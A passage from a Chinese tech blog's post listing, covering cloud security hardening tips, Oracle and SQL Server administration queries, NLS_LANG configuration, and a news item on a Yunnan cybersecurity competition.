style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 确保所有的服务只开启必要的端口,关闭不用的端口,并对常用端口进行强制性的安全保护,因为通过非标准端口来进行攻击对于攻击者而言相对来说是比较困难的。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 确保服务器后台数据库和后台服务无法通过公网查看到。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 在单独的 VPC 节点配置逻辑服务或提供服务内通信。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  4. 确保所有的服务只接受来自有限 IP 地址的数据。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  5. 限制输出数据的 IP 地址以及端口。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  6. 使用 AWS IAM 角色,不要使用 root 凭证。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  7. 对所有的管理员和开发人员提供最小的访问权限。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  8. 定期更换密码和访问密钥。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">基础设施篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 确保可以在主机不下线的情况下进行更新操作,确保部署了全自动化的软件更新策略。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 使用类似 Terraform 这样的工具来创建所有的基础设施,不要使用云端 console(控制台)来进行创建。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 对所有服务的日志进行集中记录,不要通过 SSH 来访问或获取日志。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  4. 不要让 AWS 服务组的端口 22 保持开启状态。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  5. 一定要部署入侵检测系统。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">操作篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 关闭不用的服务和服务器,因为最安全的服务器是那些关闭着的服务器。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">测试篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 开发完成之后,对你的设计和代码实现进行多次安全审查。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 进行渗透测试,也就是自己黑自己,但你也要让别人来对你的网站进行渗透测试。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">计划篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 创建一个安全威胁模型,用来描述你可能会遇到的威胁以及攻击者。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 设计一个安全应急响应方案,你总有一天会用到的。</p><p><br /></p> 编程开发 2017-05-24T15:19:29.22 数据库字典生成SQL语句 /news/Details/124 <p>SQL SERVER:</p><pre class="brush:sql;toolbar:false;">SELECT CASE WHEN A.COLORDER=1 THEN D.NAME ELSE '' END AS 表名, CASE WHEN A.COLORDER=1 THEN ISNULL(F.VALUE,'') ELSE '' END AS 表说明, A.COLORDER AS 字段序号, A.NAME AS 字段名, CASE WHEN COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 THEN '√' ELSE '' END AS 标识, CASE WHEN EXISTS ( SELECT 1 FROM sysobjects WHERE xtype ='PK' AND name IN ( SELECT name FROM sysindexes WHERE indid IN ( SELECT INDID FROM SYSINDEXKEYS WHERE ID = A.ID AND COLID=A.COLID ) ) ) THEN '√' ELSE '' END AS 主键, B.NAME AS 类型, A.LENGTH AS 占用字节数, COLUMNPROPERTY(A.ID,A.NAME,'PRECISION') AS 长度, ISNULL(COLUMNPROPERTY(A.ID,A.NAME,'Scale'),0) AS 小数位数, CASE WHEN A.ISNULLABLE=1 THEN '√' ELSE '' END AS 允许空, ISNULL(E.TEXT,'') AS 默认值, isnull(g.[value],'') AS 字段说明 FROM syscolumns a LEFT JOIN systypes b ON a.xtype=b.xusertype INNER JOIN sysobjects d ON a.id =d.id AND d.xtype='U' AND d.name&lt;&gt;'dtproperties' LEFT JOIN syscomments e ON a.cdefault=e.id LEFT JOIN sys.extended_properties g ON a.id =g.major_id AND a.colid=g.minor_id LEFT JOIN sys.extended_properties f ON d.id =f.major_id AND f.minor_id =0 --where d.name='要查询的表' --如果只查询指定表,加上此条件 ORDER BY a.id, a.colorder</pre><p><br /></p><p>ORACLE:</p><pre class="brush:sql;toolbar:false;">SELECT CASE WHEN ROWNUM=1 THEN A.TABLE_NAME ELSE '' END AS 表名, CASE WHEN ROWNUM=1 THEN C.COMMENTS ELSE '' END AS 表说明, A.COLUMN_ID AS 字段序号, A.COLUMN_NAME AS 字段名, DECODE(A.CHAR_LENGTH,0,DECODE(A.DATA_SCALE,NULL,A.DATA_TYPE,A.DATA_TYPE ||'(' ||A.DATA_PRECISION ||',' ||A.DATA_SCALE ||')'), A.DATA_TYPE ||'(' ||A.CHAR_LENGTH ||')') AS 字段类型, A.DATA_DEFAULT AS 默认值, A.NULLABLE AS 能否为空, B.COMMENTS AS 备注 FROM SYS.ALL_TAB_COLUMNS A, SYS.DBA_COL_COMMENTS B, SYS.USER_TAB_COMMENTS C WHERE A.OWNER =B.OWNER AND A.TABLE_NAME =B.TABLE_NAME AND A.COLUMN_NAME =B.COLUMN_NAME AND A.TABLE_NAME =C.TABLE_NAME AND A.OWNER ='KHCSK' AND A.TABLE_NAME IN ( 'PHA_STO_RECIPE' ) ORDER BY A.TABLE_NAME, A.COLUMN_ID</pre><p><br /></p> 数据库 2016-12-21T21:30:29.887 Oracle环境变量NLS_LANG /news/Details/123 <p>NLS_LANG是一个环境变量,用于定义语言,地域以及字符集属性。对于非英语的字符集,NLS_LANG的设置就非常重要。<br /><br />NLS:‘National Language Support (NLS)’ 当我们设定一种nls的时候实际上我们是为oracle在存放数据时指定了他的语种所特有的一些表达形式,比如我们选择chinese,那么它的中文字符如何存放,按什么规则排序,货币如何表示,日期格式也就被设定了。</p><p>NLS_LANG参数由以下部分组成:NLS_LANG=&lt;Language&gt;_&lt;Territory&gt;.&lt;Clients Characterset&gt;<br />NLS_Language 指定:<br />- Oracle(错误)信息的语言<br />- 日和月份的名称<br />注意:NLS_LANGUAGE与插入和查询的*数据*的语言无关。<br /><br />NLS_Territory 指定:<br />- 货币和数字格式<br />- 计算星期和天数的范围和惯例<br /><br />客户端字符集(CLIENTS CHARACTERSET):<br />- 定义Oracle客户端,客户应用使用的编码<br />* 或者它要符合您Microsoft Windows代码页 (GUI工具的ACP, 命令提示符的CHCP 值)<br />* 或者为Unicode WIN32应用设置为UTF8/AL32UTF8。</p><p>常见的值可以参见Oracle Database Client Globalization Support</p><p>Windows中设置NLS_LANG</p><p>1.命令提示符中设置为环境变量</p><p>如果您在命令行中设置NLS_LANG为环境变量,它将覆盖注册表和系统属性中的NLS_LANG的定义。在命令提示符中,使用“set”命令,例如:</p><p>LANGUAGE设置为中文时,提示如下:</p><p>C:\Users\TianPan&gt;set nls_lang=SIMPLIFIED CHINESE_CHINA.ZHS16GBK</p><p><br /></p><p>C:\Users\TianPan&gt;sqlplus /nolog<br /><br />SQL*Plus: Release 11.2.0.1.0 Production on 星期五 11月 28 10:07:21 2014<br /><br />Copyright (c) 1982, 2010, Oracle. &nbsp;All rights reserved.<br /><br />SQL&gt; conn scott/tiger<br />已连接。</p><p>SQL&gt; select sysdate from dual;<br /><br />SYSDATE<br />--------------<br />28-11月-14</p><p>当Language设置为American时,提示信息则变为英文:</p><p>C:\Users\TianPan&gt;set nls_lang=AMERICAN_AMERICA.ZHS16GBK</p><p><br /></p><p>C:\Users\TianPan&gt;sqlplus /nolog<br /><br />SQL*Plus: Release 11.2.0.1.0 Production on Fri Nov 28 10:07:51 2014<br /><br />Copyright (c) 1982, 2010, Oracle. &nbsp;All rights reserved.<br /><br />SQL&gt; conn scott/tiger<br />Connected.<br />SQL&gt; select sysdate from dual;<br /><br />SYSDATE<br />------------<br />28-NOV-14</p><p>在Windows下通过set nls_lang来设置,只是Session级别的,关闭cmd窗口后再打开,就又变为原来的设置了。如需永久生效,可以修改注册表的参数。</p><p><br /></p><p>2.注册表设置(永久生效)</p><p>默认情况下,windows上的Oracle安装使用注册表来定义这个设置。<br />版本 10g 及以上:<br />HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\KEY_&lt;oracle_home_name&gt;<br />这里您会看到一个条目名为NLS_LANG</p><p><br />在64位windows平台上安装32位软件,会使用32位兼容性路径<br />HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\ORACLE\KEY_&lt;oracle_home_name&gt;</p><p>3.操作系统环境变量</p><p>尽管注册表是Microsoft Windows设置的主要存储位置,它不是唯一可以设置参数的地方。</p><p>虽然不推荐,但您可以设置NLS_LANG为系统属性中的系统或者用户变量。这个设置会被所有Oracle home使用。</p><p>设置位置: &#39;我的电脑&#39; -&gt; &#39;属性&#39; &gt; &#39;高级&#39; &nbsp;-&gt; &#39;环境变量&#39;因为这些环境变量比注册表中已经设置的参数级别高,所以除非您有非常好的理由否则不要在这个位置设置Oracle参数。</p><p>Linux/Unix下的设置</p><p>export NLS_LANG=AMERICAN_AMERICA.ZHS16GBK</p><p>export NLS_LANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK</p><p><br /></p><p>DB中的NLS_LANG<br />DB也有自己的NLS_LANG参数,来标识数据库的语言,地域,字符集。可以通过以下的SQL来查得,<br />SELECT * FROM v$nls_parameters; <br />OR<br />SELECT USERENV (&#39;language&#39;) FROM DUAL;<br /><br />客户端的NLS_LANG和DB的NLS_LANG<br />DB的NLS_LANG和客户端环境变量中NLS_LANG尽可能的保持一致。Setting the NLS_LANG Environment Variable for Oracle Databases 提供了如何保持一致的方法。<br />那么为什么要保持一致呢?那是因为如果字符集不匹配,有可能在DB和Client间相互转换的过程中,出现字符转换错误的情况。比如Oracle nls_lang tips中举的例子。<br /><br /><br /></p><p>更详细的内容可以参考下边这些材料:</p><p>Microsoft Windows 环境中NLS_LANG的正确设置 (Doc ID 1577370.1)</p><p>在 Unix 环境中正确设置 NLS_LANG (Doc ID 1548858.1)</p><p>NLS_LANG Explained (How does Client-Server Character Conversion Work?) (Doc ID 158577.1)</p><p>NLS_LANG FAQ<br />Oracle Database Client Globalization Support<br />Setting the NLS_LANG Environment Variable for Oracle DatabasesOracle nls_lang tips</p> 数据库 2016-06-30T14:18:02 Oracle数据库优化相关分析语句 /news/Details/122 <pre class="brush:sql;toolbar:false;">--查看session和process上限和峰值 SELECT RESOURCE_NAME,MAX_UTILIZATION,LIMIT_VALUE FROM V$RESOURCE_LIMIT; --查看oracle缓存的命中率 select 1 - ((physical.value - direct.value - lobs.value) / logical.value) "Buffer Cache Hit Ratio" from v$sysstat physical,v$sysstat direct,v$sysstat lobs,v$sysstat logical where physical.name = 'physical reads' and direct.name='physical reads direct' and lobs.name='physical reads direct (lob)' and logical.name='session logical reads'; --访问最多的语句 select sql_text, parse_calls, executions from v$sqlarea order by parse_calls desc; --查看CPU使用最多的sql select sql_text,spid,v$session.program,process from v$sqlarea,v$session,v$process where v$sqlarea.address=v$session.sql_address and v$sqlarea.hash_value=v$session.sql_hash_value and v$session.paddr=v$process.addr and v$process.spid in (SPID); --CPU高的SQL select sql_text,cpu_time from v$sql order by cpu_time desc --逻辑读多的SQL语句 select * from (select buffer_gets, sql_text from v$sqlarea where buffer_gets &gt; 500000 order by buffer_gets desc) where rownum&lt;=30; --执行次数多的SQL select sql_text,executions from (select sql_text,executions from v$sqlarea order by executions desc) where rownum&lt;81; --读硬盘多的SQL select sql_text,disk_reads from (select sql_text,disk_reads from v$sqlarea order by disk_reads desc) where rownum&lt;21; --排序多的SQL : select sql_text,sorts from (select sql_text,sorts from v$sqlarea order by sorts desc) where rownum&lt;21; --监控表空的I/O比例 select df.tablespace_name name,df.file_name "file",f.phyrds pyr,f.phyblkrd pbr,f.phywrts pyw, f.phyblkwrt pbw from v$filestat f,dba_data_files df where f.file#=df.file_id --找使用CPU多的用户session select a.sid,spid,status,substr(a.program,1,40) prog,a.terminal,osuser,value/60/100 value from v$session a,v$process b,v$sesstat c where c.statistic#=12 and c.sid=a.sid and a.paddr=b.addr order by value desc;</pre><p><br /></p> 数据库 2016-03-18T11:10:59.207 设置oracle数据库为归档模式 /news/Details/121 <pre class="brush:sql;toolbar:false;">SQL&gt; shutdown immediate 数据库已经关闭。 已经卸载数据库。 ORACLE 例程已经关闭。 SQL&gt; startup nomount ORACLE 例程已经启动。 Total System Global Area 1686925312 bytes Fixed Size 2176368 bytes Variable Size 1291848336 bytes Database Buffers 385875968 bytes Redo Buffers 7024640 bytes SQL&gt; alter database mount; 数据库已更改。 SQL&gt; alter database archivelog; 数据库已更改。 SQL&gt; archive log list; 数据库日志模式 存档模式 自动存档 启用 存档终点 USE_DB_RECOVERY_FILE_DEST 最早的联机日志序列 13211 下一个存档日志序列 13213 当前日志序列 13213</pre><p><br /></p> 数据库 2015-12-17T14:42:31.717 Oracle日期查询:季度、月份、星期等时间信息 /news/Details/120 <p>Select to_char(sysdate,&#39;Q&#39;) from dual;--指定日期的季度<br /><br />Select to_char(sysdate,&#39;MM&#39;) from dual;--月份<br /><br />Select to_char(sysdate,&#39;WW&#39;) from dual;--当年第几周<br /><br />Select to_char(sysdate,&#39;W&#39;) from dual ;--本月第几周<br /><br />Select to_char(sysdate,&#39;DD&#39;) from dual;--当月第几天<br /><br />Select to_char(sysdate,&#39;D&#39;) from dual;--周内第几天<br /><br />Select to_char(sysdate,&#39;DY&#39;) from dual;--星期几<br /><br />Select last_day(sysdate) from dual;--本月最后一天<br /><br />Select add_months(sysdate,2) from dual;--当前日期d后推n个月 <br /><br />select months_between(sysdate,to_date(&#39;2012-11-12&#39;,&#39;yyyy-mm-dd&#39;))from dual;--日期f和s间相差月数<br /><br />SELECT (next_day(sysdate,1)+1) FROM dual;--指定的日期之后的第一个工作日的日期<br /><br />select to_char(add_months(last_day(sysdate),-1),&#39;yyyy-MM-dd&#39;) LastDay from dual;--上月末天<br /><br />select to_char(add_months(sysdate,-1),&#39;yyyy-MM-dd&#39;) PreToday from dual;--上月今天<br /><br />select to_char(add_months(last_day(sysdate)+1,-2),&#39;yyyy-MM-dd&#39;) firstDay from dual;--上月第一天<br /><br />select to_char(sysdate,&#39;ww&#39;) from dual group by to_char(sysdate,&#39;ww&#39;);--按照每周进行统计<br /><br />select to_char(sysdate,&#39;mm&#39;) from dual group by to_char(sysdate,&#39;mm&#39;);--按照每月进行统计<br /><br />select to_char(sysdate,&#39;q&#39;) from dual group by to_char(sysdate,&#39;q&#39;);--按照每季度进行统计<br /><br /><br /><br />--找出当前月份的周五的日期<br /><br />select to_char(t.d, &#39;YY-MM-DD&#39;)<br /> &nbsp; from (select trunc(sysdate, &#39;MM&#39;) + rownum - 1 as d<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; from dba_objects<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;where rownum &lt; 32) t<br /> &nbsp;where to_char(t.d, &#39;MM&#39;) = to_char(sysdate, &#39;MM&#39;)<br /><br /> &nbsp; and trim(to_char(t.d, &#39;Day&#39;)) = &#39;星期五&#39;;</p> 编程开发 2015-10-28T18:07:27.437 云南省首届互联网网络安全攻防演练大赛在昆启动 /news/Details/119 <p>5月19日下午,云南省互联网协会组织国内部分知名媒体召开“云南省首届互联网网络安全攻防演练大赛”媒体通报会。 </p><p><br /></p><p> &nbsp; &nbsp;本次赛事由云南通信管理局委托云南省互联网协会主办,北京神州绿盟科技有限公司承办、昆明信息港、云南斐迅云科技服务有限公司、云南蓝队网络科技有限公司协办,是云南省首次网络安全规格最高的专业赛事。 <br /><br /> &nbsp; &nbsp;本次大赛旨在宣传网络安全知识,培养创新精神,提升团队合作意识,扩大安全爱好者的科学视野,正确引导安全爱好者使用信息安全技能,同时为我省党政机关、企业等培养、选拔、推荐优秀网络安全专业人才创造条件。云南省通信管理局网络与信息安全处阎继国处长出席了通报会,他指出“随着国家‘互联网+’战略的实施,网络信息安全人才的需求也随之增长,本次大赛将大大加强高校、人才和企业之间的互动。” <br /><br /> &nbsp; &nbsp;本次大赛设置了团体奖一、二、三名和个人奖一、二、三名,奖金最高为1万元,获奖选手还将获得由云南省互联网协会颁发的证书和奖杯。大赛分为个人报名和邀请企业报名两种报名方式,即日(5月19日)起至6月19日,大赛正式开启个人报名通道。 <br /><br /><br />报名表下载:云南省互联网协会网站http://www.ynnet.org.cn/Show-104.html <br /><br />填写报名表后发送邮箱:yn2015ad@nsfocus.com<br /></p> 黑客动态 2015-05-22T20:13:59.267